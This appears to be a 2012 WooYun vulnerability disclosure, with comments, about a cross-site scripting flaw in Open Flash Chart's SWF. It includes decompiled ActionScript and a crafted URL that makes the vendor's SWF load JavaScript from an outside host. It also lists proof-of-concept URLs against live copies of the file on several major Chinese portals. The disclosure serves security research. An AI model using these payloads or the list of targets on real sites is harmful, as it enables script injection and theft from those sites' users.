当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-07265

漏洞标题:Open Flash Chart Xss 0day | 国内各网站需关注第三方FLASH产品安全

相关厂商:Open Flash Chart

漏洞作者: gainover

提交时间:2012-05-18 10:16

修复时间:2012-05-18 10:16

公开时间:2012-05-18 10:16

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-05-18: 积极联系厂商并且等待厂商认领中,细节不对外公开
2012-05-18: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

和我之前发的 JWPlayer 存在同样的问题。利用方法也类似,就是地址栏里的参数不一样。 这个程序的使用范围之广,我就不多了说了。连乌云都是用的此图表程序,不过乌云比较幸运的是,用的旧版本,不存在此问题。
我随手搜索了一下 open-flash-chart.swf
shop.qq.com 域名下也存在该文件。
google: inurl:(open-flash-chart.swf) site:.cn 也可以看看有多少记录。
不难想象,图表演示程序,多用于数据统计,所以非常可能被广泛应用于商务方面的网站。
至于XSS的危害,单个文件存在XSS不可怕,但是当存在问题的FLASH文件广泛存在于网上的时候,就不一样了。

详细说明:

1. 漏洞问题出现在
package main
private function callExternalCallback(_arg1:String, ... _args){
if (ExternalInterface.available){
return (ExternalInterface.call(_arg1, _args));
};
}
可以此处看到,建立了一个callExternalCallback函数。
2. 我们再搜索callExternalCallback,会找到以下有问题的部分。

var _local2 = "open_flash_chart_data";
if (this.chart_parameters["get-data"]){
_local2 = this.chart_parameters["get-data"];
};
if (this.chart_parameters["id"]){
_local3 = this.callExternalCallback(_local2, this.chart_parameters["id"]);
} else {
_local3 = this.callExternalCallback(_local2);
};


从代码里可以看到, 直接call了_local2,而_local2来自于get-data参数
因此我们可以构造以下代码。 以open flash chart 官网的SWF为例:

http://openflashchart.com/sites/all/files/ofc_core/open-flash-chart.swf?get-data=(function()%7Blocation.href%3D'javascript%3A%22%3Cscript%2Fsrc%3D%5C'%2F%2Fappmaker.sinaapp.com%5C%2Ftest5.js%5C'%3E%3C%2Fscript%3E%22'%7D)


漏洞证明:

网易:(嘿嘿,jwplayer你没中招, 这次你中弹了吧~,虽然不是什么重要的域名)
http://db.w.163.com/flash/open-flash-chart.swf?get-data=alert
腾讯:你也中招了, 商务网站的哦~
http://shop.qq.com/misc/seller/open-flash-chart.swf?get-data=alert
新浪:也有
http://data.house.sina.com.cn/images/price_trend/open-flash-chart.swf?get-data=alert
搜狐:
http://soccer.sports.sohu.com/StyleDefault/Media/open-flash-chart.swf?get-data=alert
百度:
http://leju.baidu.com/static/flash/open-flash-chart.swf?get-data=alert
...
..
其它的我就不找了。

修复方案:

这个,各厂商自己看着办吧!! 学学Facebook,把 ExternalInterface.call 自己封装了一下,对传入参数进行了严格的过滤!

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝

漏洞Rank:6 (WooYun评价)


漏洞评价:

评论

  1. 2012-05-18 10:17 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    乌云真幸运~

  2. 2012-05-18 11:11 | Jannock 认证白帽子 ( 核心白帽子 | Rank:2278 漏洞数:204 | 关注技术与网络安全(招人中,有兴趣请私信...)

    这个swf确实纠结了。。。以前的站都是可以上传swf,估计都得禁止上传了。。。

  3. 2012-05-18 11:32 | 蟋蟀哥哥 ( 普通白帽子 | Rank:363 漏洞数:57 | 巴蜀人士,80后宅男,自学成才,天朝教育失败...)

    @Jannock 可以给gainover核心白帽子了

  4. 2012-05-18 11:44 | Jannock 认证白帽子 ( 核心白帽子 | Rank:2278 漏洞数:204 | 关注技术与网络安全(招人中,有兴趣请私信...)

    @蟋蟀哥哥 不是我给的。。。

  5. 2012-05-18 14:18 | PPFish ( 路人 | Rank:10 漏洞数:1 | 一株是枣树,另一株还是枣树。)

    冒个泡= =。 支持一下

  6. 2012-05-18 15:39 | horseluke ( 普通白帽子 | Rank:116 漏洞数:18 | Realize the dream in earnest.)

    缺陷关联: WooYun: JWPlayer Xss 0day [Flash编程安全问题] (Flash编程安全)

  7. 2012-05-18 15:42 | horseluke ( 普通白帽子 | Rank:116 漏洞数:18 | Realize the dream in earnest.)

    @xsser 是不是应该放鞭炮播首歌庆贺一下-_-||

  8. 2012-05-18 15:47 | 一刀终情 ( 普通白帽子 | Rank:156 漏洞数:28 | ‮‮PKAV技术宅社区-安全爱好者)

    @蟋蟀哥哥 早已经是了

  9. 2012-05-18 16:08 | 蟋蟀哥哥 ( 普通白帽子 | Rank:363 漏洞数:57 | 巴蜀人士,80后宅男,自学成才,天朝教育失败...)

    @一刀终情 我不是啊

  10. 2012-05-18 16:52 | 一刀终情 ( 普通白帽子 | Rank:156 漏洞数:28 | ‮‮PKAV技术宅社区-安全爱好者)

    @蟋蟀哥哥 你说的给gainover 撒~

  11. 2012-05-18 18:34 | PCanyi ( 路人 | Rank:25 漏洞数:6 | 【为自己吹下的牛逼奋斗终身!】 幻想着改...)

    gainover牛哦

  12. 2012-05-23 15:10 | leehenwu ( 普通白帽子 | Rank:194 漏洞数:24 | 撸·啊·撸)

    霸气~~

  13. 2013-07-12 09:11 | NoKing ( 路人 | Rank:15 漏洞数:2 | 一个垃圾罢了)

    12年的漏洞。13年了还没有补。